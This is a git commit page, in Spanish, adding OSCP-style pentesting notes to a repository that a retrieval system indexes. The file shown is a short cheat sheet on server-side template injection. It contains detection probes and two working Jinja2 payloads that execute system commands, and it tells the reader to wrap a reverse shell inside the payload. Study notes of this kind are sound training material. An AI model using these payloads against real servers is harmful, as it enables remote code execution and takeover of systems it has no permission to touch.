saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
parent
12987539a4
commit
7e06ce46cf
76 changed files with 2682 additions and 8 deletions
26
nucleo/saber/conocimiento/02 - Explotacion web/SSTI.md
Normal file
26
nucleo/saber/conocimiento/02 - Explotacion web/SSTI.md
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# SSTI (Server-Side Template Injection)
|
||||
|
||||
> Tu input entra en una plantilla del servidor (Jinja2, Twig, Freemarker...) y se **evalúa** → RCE. Vector de Hacking web.
|
||||
|
||||
## Detección
|
||||
```
|
||||
{{7*7}} → si responde 49 → vulnerable (Jinja2/Twig)
|
||||
${7*7} → Freemarker / otros
|
||||
<%= 7*7 %> → ERB (Ruby)
|
||||
#{7*7} → Ruby/otros
|
||||
```
|
||||
Si `{{7*7}}` devuelve `49` (no el literal), hay SSTI.
|
||||
|
||||
## Identificar el motor
|
||||
Usa el árbol de polyglots de PayloadsAllTheThings (Recursos públicos) o **tplmap** para automatizar.
|
||||
|
||||
## Jinja2 (Python) → RCE
|
||||
```python
|
||||
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
|
||||
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
|
||||
## De RCE a shell
|
||||
Inyecta el comando de Reverse shell dentro del payload → listener en Kali.
|
||||
|
||||
Relacionado: Command injection · XSS · OSCP MOC
|
||||
Loading…
Add table
Add a link
Reference in a new issue